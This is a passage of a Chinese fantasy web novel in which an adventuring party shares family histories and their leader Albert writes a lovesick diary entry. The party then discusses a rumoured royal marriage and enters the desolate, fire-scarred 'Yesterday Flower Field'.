盗贼绕了桌子一圈,把几个东西拿到了一边,都是一些魔法含量过于高的东西,梅茜的魔法石手链,妮娜的几个发饰…… 甚至还有诺曼不知哪来的的护身符。 当然,也包括那颗魔晶。 最后,他的目光落在了团长的腰间。 “你这把剑……”帕里斯指了指。 “堪比一把菜刀,”艾伯特面无表情地接话,把剑抽出来一部分,“武器也要留下吗?” 他侧了侧剑身,“而且这把剑,除了自带的怎么也丢不掉的buff之外,没有任何魔法加成。” “那也很少见了……”盗贼皱眉,“哪怕是以前的剑,多少也能附上加成的……” “不能带吗?”紫红色的眼睛微眯,语气直接。 “能……正因为没有魔力,所以完全没关系。”帕里斯悄悄往旁边移了一步。 只是一个贵族少爷,怎么会拿着这样一把徒有其表的银剑。 奇怪。 而且……这把剑,总给他一种莫名的危险感,但帕里斯不太确定,他的第六感一向不怎么准,还因此被砸过花。 而且目前没有确凿的证据,坚持的话,可能会遭到反感。 他的眼神又飘向精灵的身后。 其实刚才已经探查过了,但是,果然还是……难以置信。 ……那股磅礴的力量,配上阿方索的身份,其实盗贼轻易就能猜出来源。 但……竟然这样被重视的吗? 这个名叫阿方索的精灵,身上又有多少秘密呢? 帕里斯难免有些警惕,不过,另一方面,盗贼也稍稍安心。 至少,这次冒险又多了一份保障。 挑选完毕后,几人下楼领了房卡,然而发生了意外。 原本的房间就不算多,给冒险团预留的之后,房间刚好住满,前台抱歉地告知了这个坏消息。 但有个好消息,其中一个房间可以替换成双人间。 这样的话,就足够了。诺曼瞅了一圈,自告奋勇地和帕里斯住了双人间。 虽然艾伯特一定会很高兴和阿方索住双人间,但帕里斯需要监管。 让他一个人住?半夜三更给这个明显有些手段的盗贼留出空隙,做点小动作? 想得美。 世界上也没有那么多好事,想和暗恋对象独处一室的团长也想得美。 一行人上楼,率先去的就是诺曼和帕里斯的房间。 “这环境,让我想到了我家。”推开房门,诺曼进去视察了一番,“别说,这个木板纹路还真是一模一样。” 帕里斯安静地溜进去,坐在对面的床边,其他人也依次进去,阿方索摸了摸衣柜表面,他伸手,给旁边的绿发少年看了看。 指尖很干净,虽然房间不算太新,但明显是被好好打扫过的。 梅茜懒得进去,她倚在门框上,等待其他人参观完毕。 “对了,诺曼,好像还没说过你家里?”妮娜站在床角,有些好奇地追问。 “我家里?”诺曼顿了一下,随后乐了一声。 “说说也行。” 妮娜的问题似乎激发了他的表现欲,手边没有烟,诺曼就揪了花盆里的小草咬在嘴里。 “我家三个孩子,我弟弟叫纽特,妹妹叫莉萨。” 诺曼沧桑地做了个抽烟的动作,但实际上,他只是把小草夹在指尖,又叼了回来。 “我父母在我小时候还行,后来他俩的生意出了问题,就经常吵架。” “后来破产,他们就跑啦。”诺曼叼着草叶,悠悠地回忆,“我是快毕业了,但是那两个小崽子还需要钱,没办法。” “我毕业之后当了一段时间助教,后来发现没有做生意挣钱,我也跑了。” “该说不说,遗传这东西还真是有点说法的。”诺曼眯起一只眼,笑着说,“只不过我没结婚,也没孩子,怎样都是我一个人的事。” 剧情急转直下,就连梅茜也不知道他有这种过往,惊讶地抬起头看他。 “不过,不要用这种眼神看着我哦,我现在已经解决财务问题了。”看着周围人有些复杂的眼神,他咧嘴一笑,轻快地摆摆手,“当然,如果要额外付费的话,我还是很欢迎的。” “而且不是什么悲情故事啦。”诺曼磨牙,摇了摇草叶。 “我妹妹结婚了,在王都开了个烘焙店,弟弟在冰河领域那边做点研究,一时半会回不来。” 他数了数手指,“算来,也有一年多没见了,不过他倒是会写信给这边。” “不过我最近不在王都,估计像以前一样,都寄莉萨那儿了吧。” “都过去了,现在,挺好的。”他最后总结。 看着沉默的几人,诺曼挠了挠头。 大家的反应好像比他想的要大一些啊…… 不过,或许,也是一个机会, 诺曼的目光转来转去,看向了站在 一旁的精灵。 “对了,阿方索,你能说说你的家人吗?”最终,诺曼还是开口。 “你说过,他们在你很小的时候就去世了。” “虽然有点冒犯,但……我想问问,他们是怎么去世的?” 诺曼看见了梅茜怔忪的神情,妮娜突变的脸色,和艾伯特不满的握拳。 但他的注意,还是没有离开精灵一如往常的淡淡面容。 是什么,能让一对精灵双双离世? 自从知道阿方索父母双亡后,或许是因为商人的直觉,这个问题已经困扰了诺曼很久。 他想要这个答案也很久了。 现在,他得到了。 “我的父母,被恶魔所杀。” 听到这个答案,诺曼神色一滞。 “所以,你的项链,真的不是……” “在离开之后,他们给我留下了这个。”阿方索抚上胸口的吊坠,垂下眼睫。 “他们离开之前,答应我,会为我带回。” “这是,我们的承诺。 水滴状的石头在精灵的手中显出温柔的蓝色,刚才帕里斯筛查的时候,并没有把它挑出来。 这足以证明,它只是一块普通的石头,没有神奇的魔法,有的,只是一对父母对他们心爱孩子的承诺。 他们最终没能回来,但是石头完成了他们的诺言。 “精灵祖地附近,竟然也会有恶魔出现吗?”梅茜皱眉,沉吟片刻,“而且,还如此强大,两个精灵都无法抵挡?” “我……不清楚,”精灵的声音变得很轻,“长老说,当时来不及,后来,解决了。” “……母树,没有回答这个问题。” “所以,你对魔族……”梅茜有些犹豫地开口。 “梅茜,不一样。”阿方索看她,眼神平和如镜,“我知道。” “嗯,但另一个,长老说,看见就可以……” 精灵在脖子上比划了一下。 懂了。 “怪不得,那天你遇见那个恶魔,下手没有一点犹豫。”妮娜把一缕发丝拂到耳后,露出下颌。 “本来就是。”阿方索摇摇头,“同伴,需要保护。” “伤害同伴,需要消失。” 竟然是这样直白的想法吗?妮娜有些惊讶,却算不上意外。 这样想来,阿方索之前在木林镇说过的那些话,似乎有了更深层的意味, 如果如此界线分明的话,妮娜不知道自己可不可以理解为,阿方索其实一直明白妮娜之前的那些行为,到底意味着什么。 只是因为是同伴,没有彻底触及底线,所以可以容忍。 虽然现在,她已经收回了最开始的任性,但是,如果当时真的过分了的话…… 按照这样天真到残忍的性格,妮娜不禁有些背脊发凉。 “妮娜?”梅茜轻声叫她。 妮娜猛地回神,她下意识吞咽一口口水,握紧双手掩盖心绪,却发现,手心不知何时已经湿透。 “对了,你头上的那个羽饰,也是父母留给你的吗?”少女小心地问。 “那个啊,”精灵晃了晃头,羽饰轻轻擦过他的眼角,“是十六岁,拿到的。” “当时,比赛射箭,我第一。” 艾伯特站在一旁,眼底染上阴霾。 如果是平时他听到,肯定会忍不住夸夸一番。 但现在,却完全张不开口。 一想到阿方索从小自己长大,就算按他的说法,有母树陪伴、长老也会探望。 可是,独自一人生活,多少也会有些寂寞呢。 弓术那么厉害,会不会是因为有太多需要的时刻? 那小小的身影在林中穿梭,也不会一开始就如同现在这般轻盈吧? 他有没有摔倒过,把膝盖磕青,有没有被雨淋湿过,在树下蜷缩在一起,会不会疼,会不会湿? ……会不会,感到害怕,感到难过? 没有人扶他起来,没有人把他擦干,抱在怀里安慰。 那即使以人类的标准衡量都年幼至极的孩子,是怎么度过一个个夜晚? 一想到这些,艾伯特的心里就格外酸胀。 他深吸一口气。 你们精灵族,到底会不会养孩子啊?! 29. 日记 纵然他人心里思绪万千,精灵本人看起来却并没有多么失落。 提起父母时的那一丝伤感,似乎已经是他最外露的表现,而就连那点波动,也很快消失无踪。 似乎总是激不起强烈的情绪呢。该说是种族导致的原因,还是阿方索本身性格如此 “阿方索,就那么一个人生活?” “说过,母树在。”精灵有些不解,明明说过不止一次。 “留在母树身边,很好。” 他想了想,解释道。 这话一出口,周围人的眼神都变得更奇怪了,阿方索难得有点困扰。 在他眼中,母树是如同同伴与教导者的存在。 将年幼的孩子留在自己身边,是母树的意愿,也是宠爱。 他的身世有些特殊,本来长老们就有些为难,族群选择接受,是再自然不过的事情。 而阿方索离开祖地,也是依循它的指引。 在临行前,母树为他折枝,化为弓形,将一缕意识陪伴在阿方索的身边。 这在精灵族中,是独一无二的恩宠。 但自从离开祖地,并非精灵种族的其他同伴,似乎并不把母树当作一个具体陪伴者。 倒是一直沉默地坐在一旁的黑发盗贼,眼中似乎闪过一丝了然。 交握在一起的十指微动,暗红色的眼眸微微上挑,流露出一种不属于这个身份的审视的眼光,又很快收敛,如同幻觉般转瞬即逝。 艾伯特看着精灵有些困惑的神情,在心里轻轻叹了一口气。 这样看来,他是真的觉得没关系吧。 这样想着,艾伯特对精灵笑了笑,阿方索注意到了。 得到他的反应,精灵的状态松快了不少,那点困扰也缓和了很多。 “好了,今天就聊到这里吧。”年轻团长缓和气氛,“明天就要进入花田了,大家也早点休息吧。” 算不上多么高明的转移话题,但确实是现在所需要的提议。 就算没办法得知阿方索内心真实的想法,也不能亲眼目睹当时的他究竟如何。 但至少,终于,不是对他的过去一无所知了。 这次的谈天算不上多么愉快,众人都需要时间消化一下,简单结束话题后,就回到各自的房间休息。 推开有着吱呀声的木门,艾伯特解下腰间的银剑,挂好。 他的目光在上面停滞了半晌,随后,又走到桌前,放下背包,翻开了那本有着曙光封面的日记。 他拉开木椅,拿起那只被施下耐久魔法后、已经忘记使用了多久的羽毛笔,提笔写下,字迹整洁而清晰。 「大陆纪年第5021年,五月,第三月曜日。」 「今天,诺曼说了他的过去,我知道他有弟弟妹妹,但是不知道,他们竟然是他养大的。」 「怪不得有些教授看见他的时候,都好像很熟的样子,有些还带着点可惜。我之前还以为是因为他之前在这里毕业,还每年都来推销,教授们觉得可惜呢。」 「不过好像也差不多,都是惜才。当了助教却没成为学者,确实也很少见。」 「挺遗憾的。但他忽然提起这个,还是想借此打探阿方索吧。」 笔尖在空中顿了顿,他又写道。 「……无论是真狐狸,还是老狐狸,在玩弄人心这方面,果然都很讨厌啊。」 「虽然,很谢谢他教我做奶油蘑菇汤。」 「但房间里那个盗贼还在呢,而且还当着这么多人的面,问这种话,真是……」 「至于,阿方索。」 写到那个名字,艾伯特的眼神明显变得温柔起来,甚至忍不住用了华丽的花体。 「关于他的事情,不需要在日记里写太多,因为每一件事,我都不会忘记。」 「既然是这样,之后如果遇见恶魔的话,全部都杀掉就好了,剑术要努力精进。虽说本来也没有让他们活着的义务,但阿方索需要的话,特意找也是可以的。」 「那个羽饰,竟然有这样的来历吗?不过好像也合情合理,即使在精灵族里,他也是难得一见的天才吧。」 「发色的话,果然不可能是染的吧。按理来说,这段时间怎么也该长出来新的发丝了,但是并没有色差啊。」 「真的,好漂亮啊。」 看着自己一言不合就花痴的发言,少年有些苦恼地抿了抿唇,他敲敲自己的额头,强行转回了正常模式。 「改变发色的魔法虽然也不算太难,但是那样漂亮的颜色,不可能的吧。我猜大家多少都知道了一点,特别是梅茜,但大家都没有戳破。」 「也好。按理来说,是没有精灵有这样的发色的,甚至阿方索的眼眸,也不像是完全的碧绿。如果是别人,或许是骗子吧,但是他不一样。」 「阿方索不说的话,一定是有他自己的原因,身上的秘密,也明显不止发色一个。」 「但,还是不要着急比较好,等他想说的时候,再说吧。」 「明天就要进入昨日花田了,大概会在那里待很久吧。」 「不过,想来也没关系。」 「反正,我们有的是时间。」 写到这里,艾伯特轻咳一声,脸上泛上可疑的红晕。 「虽然阿方索说过,母树和他关系很好,他看起来也是那样的完美,让人挑不出一点错处。」 「但是,树木毕竟不像真人,就算可以教导和引领他,也无法给予拥抱吧。」 「要是能在他小时候就遇见他好了。小时候的阿方索,一定很可爱吧,好想摸摸头或者抱抱他呀。要是可以的话,我会竭尽全力照顾好他的。」 「要是可以亲亲就最好了,无论是额头还是脸颊,都会相当治愈吧,感觉人生都会得到升华,死而无憾。」 「就像……那晚一样。」 虽然,他甚至都没敢当众承认自己记得那晚发生的事情,阿方索也从来没有主动问过自己。 那还是他,第一次亲吻别人呢。 「写出这样的话,真是令人不好意思呢,不过,反正也不会有人看见的吧。」 「虽然说不想让别人看见,直接不要写日记就比较好,但是心中的想法无处宣泄也会很难受,我果然是这样矛盾的人吧。说不定,我也其实是想让某个人看见呢?」 「不过,果然这一本也会像以前的一样,最后都会被烧掉吧。」 「不过有阿方索名字的,专门剪下来收藏好了。」 「这句也要。」 艾伯特自己在心中默念,不禁轻笑了一下。 哎,这样的发言,果然是显得脑子不太正常呢。 不过,实话实说, 他已经收敛了很多了。 虽然说这只是随笔一写,但毕竟天有不测风云,要是哪天真让别人看见了,至少不会直接把他送进监狱。 按理来说,今天的日记就算写完了。可是,他没有合起书页。 艾伯特安静了很久,又重新拿起笔,转了两圈,他的笑容逐渐消失,眉目低垂。 最终,他写下了短短的一句话。 「如果可以的话,我希望……」 和最开始的相比,这次又落下的字凌乱许多,看得出主人十分急切,像是怕被谁看到一样。 但还是没能写完。 笔尖在纸上划出白痕,又用力按下去几下,还是如此。 他想再蘸取一些,却发现墨水已经耗尽。 已经,写了这么多啊。 却还是,差在这一点点身上。 看着写了一半的句子,艾伯特感到深深的无力。 真是的,世界对他好一点能怎样呢?难道,他上辈子是做了什么十恶不赦的事情吗? 心绪难平,他下意识地握紧笔杆,那精致的羽毛却不堪重负,直接折断在手中, 感受到微微的刺痛,艾伯特迟疑地看向手心,看到这样惨烈的画面,他抽了抽嘴角,苦笑一声。 ……看来这几天写不了日记了。 不过,其实也早该换了。 ……等从花田回来,有时间的话,再去买一个新的吧。 少年抬起头,神情有些恍惚。 不知不觉间,外边的天色已经发黑。 到了月亮的时间了。 今晚,月色尚残,薄雾弥漫在它周围,朦胧不清。 ……自从愈发靠近花田之后,精神状态总会有时变得不太对劲起来。 对阿方索的思念,也到了一个从未有过的程度。 不是说之前不想靠近,但之前的那种渴望,还可以被理智压制,不表现得太过明显。 而现在,自从来到聚集点之后,那种欲望就越发不可控制起来,就连视线离开一秒,都会觉得无法忍受。 是因为秘境的缘故吗? 就像身体里有个声音,一直在告诉他,那个人,是属于他的一样。 偏偏还那样理所当然,那样不容置疑,那样……合他心意。 再这样说下去,他都要真的信以为真了。 一直放任这样下去的话,相当不妙啊。 就像现在,他就非常想要去推开隔壁的房门,用尽全身的力气,才能克制住挪动脚步的欲望。 什么都不做也好,只想要坐在床边,确认那个人依然存在。 但,即使到了这样的地步,目前,也想不出来什么特别好的解决办法? 无论是从道理还是私心出发,接下来的一段时光,都没有分开的可能吧。 他垂下头,骨节分明的手指抵住嘴唇,藻绿的长发笼罩身躯,昏暗的环境静得令人发指,窗外的风声时隐时现。 油灯里的火光抽动,忽明忽暗,映照着桌前那张年轻漂亮的脸庞,红色的小点如血欲滴,缀在耳畔。 焰心舔食着年轻剑士紫红的瞳孔,发出令人心悸的声响。 噼啪,噼啪。 手指彻底松开,破落的笔落在桌上,无声无息。 他低头,咬住了自己的手臂。 30. 等待 尽管手握凭证,进入花田之前的重重关卡,还是足够令人烦心。 “所以,还要等多久啊。”艾伯特趴在桌子上,有气无力地抱怨道。“这都第三次填表了吧,第一次就送去的证件还没回来啊。” 精灵在他旁边安安静静地坐着,双手放在膝盖上,显得十分乖巧。 艾伯特偷偷瞟了他一眼,看见那洁白如玉的手,联想到昨晚不可描述的事情,忽然说不出话来。 他闭上嘴,禁不住红了耳朵。 梅茜推开窗,往外看了看天色,也有点无奈。 “大概黄昏之前?本来进入昨日花田的人就少之又少,我刚才打听了,我们是今年来第一个登记进入的冒险团,调动程序也需要额外的时间。” “算了,一路上都走了这么久,也不差这一点。”妮娜闲着无聊,把药剂箱放在腿上,一边翻看,一边开口。 她抚过一瓶瓶大小颜色各异的瓶瓶罐罐,眼神里有光芒闪动。 这一次准备充足,总不能像上次一样只是被保护,要发挥作用啊,妮娜! 虽然已经不是为了攀比,但也不能让艾伯特梅茜和诺曼用那种眼神看她了。 少女在心里暗暗给自己鼓劲。 怎么了,她就不能组冒险团了吗? 梅茜注意到少女的小表情和小动作,忍不住弯了弯眼睛。 “对了,昨天晚上,我王都的朋友给我发了消息,是关于今年的庆典晚会的。” “说是最近听说,那个人……也要去王都了。”梅茜压低声音。 “谁?”艾伯特没有听清。 “就那位,是冒险家公会会长的长子,他也被邀请去庆典宴会了。” “那位阿德文彻尔??你说路明?”诺曼表情像是吃到烤过头的棉花糖,“他不是到处旅游呢吗?谁提的意见把他拉去的,对这位感兴趣的人,也是大有勇气。” 阿方索没听懂,他转头,看向旁边的绿发少年。 “……路明?” 艾伯特对上精灵的眼神,神情也有些复杂,但还是直起身,开口解释: “诺曼说的那个人,全名叫路明·阿德文彻尔。是冒险家公会会长的长子,听说他的母亲来自东方,所以名字才这么奇怪。” “不过,他的父母在他小时候就已经离婚了,母亲很早就离开了,他父亲后来也不止他一个孩子……” 这种事情在他们的社会阶层里不算秘密。艾伯特不自在地摸了摸垂在胸前的头发,有些迟疑。 “他以前也在王都学院念过,算是我们学院……比较有名的学长。” “相当传奇了,就是传奇的地方不太体面。”诺曼顺嘴接话。 艾伯特干笑两下,妮娜推了推药剂箱里的一个小瓶,梅茜扶额叹了口气。 “他当时是我的学弟,长得倒是相当可以……不过脾气太差,比我还混不吝。”诺曼回忆起当年,有些咂舌,“当年有人给他送情书,这哥们看都没看一眼,直接当面就给撕了。” “我当时亲眼看见,就像雪花一样,唰的就扔开了。”诺曼还模拟了一下当时的场景,他双手摊开,抖了两下。 “在学院的时候,他三天能逃九节,有一次不知道什么原因来了,教授还以为是来蹭课的新同学。” “不过他运气还挺好,每次测试都能低空飞过,最后也是顺利拿到了毕业证。” “不过有些事情结合他的背景,看起来还真是微妙呢。” “微妙……?”精灵声音很轻。 “我天呐阿方索,你可不知道冒险家公会多有钱,我那时候也是遇见他之后才真切感受到的。”问到心坎里了,诺曼脸皱成一团,越说越激动。 “他家老爷也真舍得给他,当时一个月生活费就顶我一年。那少爷是真的少爷,当时贵族的都没有他那么豪爽,每天花钱和玩似的,说砸就砸。” “当然,也是真的大方。”诺曼补充道,神情感慨,又带着怀念。“当年他的代课单子,我们可都是抢着去接的。” 他双手捧脸,有些荡漾。“就连一节水课都给二十金币,我干活这些年,除了这位富哥,再没有人肯出这样慷慨的价格了。” 诺曼说这话的时候眼睛都放光,真是出息。 不过也难怪,二十金币一节课,是什么水平的冤大头才会做出这种事。 “还是因为他家里那时根本就不管他吧。”梅茜揉了揉眼角,“但凡盼着孩子成才一点的家庭,也不会这么放任他悠游肆意,不过反正他自己都不在乎就是了。” 梅茜对路明的印象实在算不上好,她没有教过他的课,但是听别的教授说过他的风评。 他们见过两面,或者说梅茜单方面见过他两面,一次是在赌场,一次是在拳赛。 梅茜当时只是为了研究去调查,而这位明显就不一样了。 有一次还看见他搂着个人,虽然当时隔着帘子,看不清样貌,但明显亲昵的姿态实在是让人不忍直视。 那种及时行乐的风气,实在是不符合她的价值观。 “怎么说呢,谁能说他那段时间过得不爽呢?反正是长子,他爹既然没断绝关系,也不会完全扔下他不管的。”诺曼敲了敲桌子。 “话说到这,我更惊讶的是,他竟然真的答应了?他之前不是说过嫌烦不去王室宴会的吗?我记得他连毕业晚会都没去呢。” “谁知道呢?”梅茜也有些疑惑,脸色凝重起来,“难道,是王选的事情?” 王座之下,子嗣并不算丰盈。除去那位前任所生的希莲公主,由现任王后所生的,只有一个小皇子,今年还不到十五。 虽说女子继承皇位的先例已经是很久之前的事情,国王也明显更偏爱自己的小儿子,但按照王国的古老法律,也并非完全没有可能。 但如果公主出嫁给一个与王室完全没有血脉连接的家族,继承权自然大打折扣。 “也不好说。算来算去,他今年也快三十了吧?还没结婚。”诺曼语气轻松,“不像我这种无牵无挂的,会长大人估计操过不少心了。他们那种情况,会联姻也说不定?” “你认真的?”梅茜绕了绕蓝色的小辫,“现在合适的不就那一个,你觉得他俩能相处好?” “我可是听说,那位阿德文彻尔家的大少爷,身边有个情人呢。”“虽然很少带出面,但是相当宠爱呢,戒指从学院时就带着了吧。” “我们都知道的事情,上面那些会不知道吗?”诺曼不以为意,他笑着摸了摸下巴,“但联姻这件事,又不是谈恋爱。现在公会如日中天,谈一谈,王室那边估计大概率是同意的。” “想要拉拢的话,现在适龄且身份合适的,只有希莲公主了吧。” “可惜她身世不好,虽然占着个公主的称号,但没有相应的权力。母亲又早逝,当初有那样的传言。嫁不了什么公爵和王子,和公会长子结婚,也不算难看。” “什么,传言?”阿方索问。 “当年是有那样的说法,说是公主可能是王后和之前的情人所生……不过流言没传多久,那位王后就去世了,事情也不了了之。”妮娜轻轻合上药剂箱,低语说。 “流言是否是真相,不重要,重要的是,王座之上的那位想法如何。”梅茜附和。 “不过,虽然希莲魔法方面有缺陷,但也是出名的美人,公会那边,应该也不会要求太多。”诺曼又说了一嘴。 男人语气轻描淡写,仿佛只是随口一提。 但他分析的并没有错,甚至可以说十分的合情合理。 帕里斯的面容隐在暗处,听到诺曼漫不经心的话语,他嘴角微不可察地绷起。 斗篷被窗外传来的风吹起一角,又被盗贼紧紧压下,他过分用力,布料被扯出褶皱的痕迹。 “我曾经跟她打过照面,虽然没有魔法天赋,但希莲公主是一个相当聪慧的女孩。”梅茜有些遗憾地摇了摇头。 “如果不在王室,说不定会有更好的未来。因为这个身份,她没能去学院,又要和那样一个人结婚,真是……” “再怎么样,也不是我们这种小人物该操心的。”诺曼摊了摊手,“我只在乎要是他俩真结婚了,王国的税收和冒险团的委托费抽成会不会受影响。” “唔,帕里斯,你怎么了嘛?”注意到盗贼有些难看的脸色,诺曼散发出了点关心。 “难道你也倾心于那位公主殿下?”诺曼闭上了一只眼,调笑着说,“毕竟不是谁都像我们团长一样不解风情,希莲公主可是多少少男少女的梦中情人呢。” “……不。”少年盗贼沉默片刻,最终扭过头,声音很低,“我,怎么可能会认识那样高贵的女士。” “那不一定,身份算什么,这里还有两个差不多高贵的男士女士呢。”诺曼指了指艾伯特和妮娜,又特意在阿方索那里加重划拉了两下。 “还有个精灵不是?”他自信满满,“还是这样的哦,我们阿方索这么好看,也不会比第一美人差吧。” 盗贼看了阿方索一眼,还没来得及回话,就被门口的敲门声打断。 帕里斯似乎松了一口气。终于找到了机会,他急忙起身,闪到门口旁边,伸手拉开了门。 随着吱呀一声,众人的目光都投向门口,那里站着一位年轻的人类女子。 “各位,你们的申请已经处理完毕。”招待人员终于来了,她露出职业微笑,十分客气。 “抱歉让各位久等,现在,请随我来。” 31. 花田 转过两道走廊,推开沉重的门。接待他们的是一个有着棕色毛发的犬兽人,身材中等,沉稳而威严。 他看起来并不年轻,但还算精神矍铄,直立的耳尖泛白,眼角已经有了细纹。 看到阿方索的时候,他的眼神闪过一瞬惊讶,但多年来的职业经验让这位官员不至于过于失态。 他招呼他们坐下,简单解释了一下迟缓的原因。 和梅茜猜想的差不多,无非就是仔细确认,加上多年没有启动过,程序迟缓而已。 说完,官员沉吟片刻,缓缓开口。 “昨日花田,一直是学院与王国重点守护的秘地,像你们这样年轻的冒险团得到允许进入的,我还是头一回见。” “我理解,你们能得到允许,一定来之不易。但以我这么多年的经验来看,昨日花田……要比你们想象中要危险得多。我想,还是考虑一下为妙。” “谢谢您的提醒,但是我们已经决定好了。”艾伯特直视他的眼睛,语气坚定。 “既然接下委托,曙光冒险团会为它的选择负责。” 听到这样的回答,官员没有多说,他叹了口气,尾巴很轻地摇了两下,从桌下的抽屉里拿出一个小匣,放在了桌上。 木匣外表普通,但在场几人都对魔法有所了解,能敏锐地察觉到,匣子上施下了特殊的法阵,一般人难以打开。 官员没有解释太多,他仔细交代了关于昨日花田的事项,随后打开木匣,给每个人亲自颁发了一枚信物。 那是一朵朵木质的小花,模样不尽相同,有着微小的差异,但都用细绳拴住,看起来平平无奇。 “这个,麻烦各位务必保管好。”他珍重地把木花放在对方掌心。 昨日花田里面万事莫测,谁也不能打包票可以全须全尾地出来,官方也没有办法进行及时的救援。 但通过这朵由学院研发的小花,探险者可以借此知道深入的程度,及时止损,避免到达无可挽回的境地。 妮娜接过时,神情有些犹豫。但也只是一瞬,她握起五指,将信物拢在掌心,随冒险团一同告辞离去。 花田入口离招待所还有一段不远的路,艾伯特拿着手中小小的木质花朵,兴奋地向旁边的精灵展示。 他双手捧起,献宝一样地递到阿方索的眼前,脸上洋溢着春花般的明媚笑容。 “没想到花田的信物竟然是这样的,你看,是不是有点漂亮哦。” 艾伯特的声音轻快,紫红色的眼睛眨了又眨。因为过于期待,还显得有点怯生生的。 “嗯。”阿方索把属于自己的那个挂在腰间,偏头认真地看了看,随后点了点下颌,“你这个,大一些。” 绿发少年弯起了眼睛,心情明显开始愉悦。 但还没来得及高兴太久,一道清脆的女声就在耳边响起。 “大有什么好的,你看我这个,边缘有白色的花纹哦。”妮娜凑了过去,大大方方地拎起自己的花朵,在两人面前晃了晃。 艾伯特脸上的表情瞬间淡了许多,笑容几乎挂不住,精灵倒是很自然地被吸引了视线,仔细打量了一番。 “更好看。”他中肯地评价。 “那当然。”大小姐哼了一声,骄傲地挺起胸膛,她单手叉腰,浑身上下都冒出闪着胜利光芒的星星。 眼见如此局面,艾伯特的眼睛失去了高光,眉眼阴沉地盯着少女,有呲牙的前兆。 “你看他!”妮娜毫不客气,伸手一指。 然而在阿方索转头的一瞬间,年轻的团长又立刻变成了一朵盛开的小花,温温柔柔地笑着,一派天真无邪的模样。 精灵没发现什么异常,收回了目光。 这种变脸速度,不演当戏剧演员真是可惜。 妮娜的表情管理接近失控。 按理来说,一个经受过专业训练的淑女是不应该在表面上表示出嫌恶的。 但是她实在有些控制不住。 两人好歹也算是在童年就认识的熟人,加上艾伯特姐姐和她关系不错,妮娜自认也算了解他不少。 之前,怎么没有发现艾伯特竟然是这种……货色。 妮娜知道这个词不太礼貌,但此时此刻,她也想不出其他更好的用语了。 “又不是小孩子了,这点东西也要比来比去。”梅茜把绳子绕在手上,转了两圈,把木花紧紧握住。“小心点,这几天就靠这个来辨别进入的深度了,关乎性命的东西,可别弄丢了。” 盗贼没有参与他们的玩笑,他跟在一行人的最后,安静地把属于自己的东西收好。 之前的话题似乎随着正式出发就此揭过,大家的注意力转向花田,自然把那句玩笑话撂在了脑后,帕里斯也没再提起。 但在离开招待所之后的路上,感受着胸前微硬的触感,他还是会时不时走神,心思飘向更远的地方。 诺曼刚把信物揣进兜里,就看到三小只凑在一起叽叽喳喳的样子,心里有些发笑,也有感慨。 这就是青春,真好啊。 虽然当事人可能不这么觉得就是了。 不过就是很有意思啊。原本傲娇大小姐给放下偏见,幡然醒悟,改变示好的对象,和原本心仪的人同时争取另一个人的注意。 好经典的桥段。这幅画面,真是越看越有乐子。 更别说,两人还是前·未婚夫妻,有了这重身份,更有看头了。 诺曼脑中飞速闪过之前看过的那几本有名的王都狗血三流通俗,情节一个赛一个的离奇,他几乎要绷不住嘴角逐渐上扬的弧度。 当然,是,生活不是戏剧,诺曼还是分得清的,要是真的像那些故事那么发展,他估计就笑不出来了。 但有时候又不得不承认,现实比故事更加离奇,因为现实是不用讲道理的。 诺曼再次向那边投去眼神,这时,情况有了稍稍的转变。 年轻团长不知何时躲在了精灵的身后,他扯着阿方索的斗篷,用幽幽的眼神看着前面气得直跺脚的少女。 棕发少女手扣在药剂箱上,满脸不齿。 这种幼稚的挑衅的方法,她五岁的时候就不稀得用了好吧!? 看着处于事件中心却一脸状况外的精灵,还有一旁用被震撼的眼神观察着三人的少年盗贼,诺曼没忍住笑了。 像妮娜这样一时兴起的大小姐,不仅放下架子,也开始变得真心投入冒险了呢。 就连他,有时候都觉得……这样下去, 好像也不错。 咳,当然,钱还是得收的。 不过,现在妮娜没有了执念,要是大小姐退团,他也就没有留下的理由了。 这个委托要是顺利完成,等回到王都,妮娜还会愿意再次出发吗?而肯特家族,如果确定没有办法挽回这门婚约的话,还会允许她继续胡闹吗? 诺曼不是那种会提前内耗的人,但是他心里隐隐约约有了答案。 就说另一边,艾伯特无论和家里和解与否,彻底掰断,或是继续冒险,都他没有关系了。 如果真的这么发展,这个五人冒险团又能持续多久呢? 虽然一开始就只是一场契约而已,抱着挣钱顺便玩玩的心态,但现在想来,也忍不住有点舍不得呢。 诺曼摇了摇头,怎么突然开始胡思乱想起来了,这可不是他的风格啊。 果然,跟年轻的人待在一起,思想也会变得年轻。 他还以为自己早就变得无利不往了呢。 在打打闹闹中,远方的城墙已经显露出它的身躯,灰白的墙壁由坚固的石块所筑,上面痕迹斑斑。 艾伯特松开了抓着斗篷的手,目光在剥落的城墙上停留,危险的预感涌上心头。 手下意识搭上银剑,温凉的触感让他冷静了一些,但还是久久没有放下。 城墙外逗留的人不少,部分是想偷渡进入花田,另一部分是做准备偷渡进花田的人的生意。 看见曙光冒险团这样的新面孔出现,都有意无意地观察着他们。 守关的侍卫身着铠甲,看不清面容,确认通行证无误,便放他们进入。 甩下身后或惊诧或探究的目光,冒险团没有回头,径直向前行进。 穿过层层关卡,彻底越过那堵深厚的城墙,才真正算是与那个传说中的秘境相见。 然而,看见花田真实样貌的第一眼,冒险团还是下意识停下了脚步。 原本暗含的期待与兴奋被迎头泼了一盆冷水,浇灭成一缕黑烟。 诺曼呼吸一滞,不由得退后一步。 梅茜皱起眉头,妮娜用手臂掩住下脸,艾伯特下意识往身边侧了侧,挡在阿方索身前,帕里斯把斗篷裹得更紧,目光却直直盯着前方。 尽管已做好了心理准备,也早知它所经历的一切,眼前的景象还是超乎想象。 压抑。 目之所及,尽是一片枯草,土地荒芜,片片龟裂。 灰黄色的烟尘弥漫在四处,空气中似乎还弥漫着烧焦的气味,刺激着鼻腔,让人喉咙发干,忍不住想要退却。 与之前书中那些记录、那些优美的词语所描述的遭受大火之前的花田梦幻般的景色,完全是天壤之别。 时间已过三百年,但那场大火留下的痕迹如此鲜明,仿佛就在昨日。 更让人难以移步的,是那种焦枯的气息,不带一点鲜活的感觉,不留有一丝空隙。 生命被灼烧殆尽,就连最后的哭喊也被扼住,喘不过气。 “这就是……昨日花田?”艾伯特的声音有些颤抖。 腰间的木花微微升起温度,泛上一层薄薄的灰色,精灵垂眸,手指微微摩挲了一下。 “到了。” 他轻声说。 32. 潮水 “不走吗?”阿方索发现自己不知何时已经站到了最前面。 他回过头,看了看周围停下的队友,有些疑惑地问道。 队友们看着阿方索清澈的眼神,不禁都有些风中凌乱。 ……该说真不愧是精灵吗?这样令人不安的处境都能镇定自若。 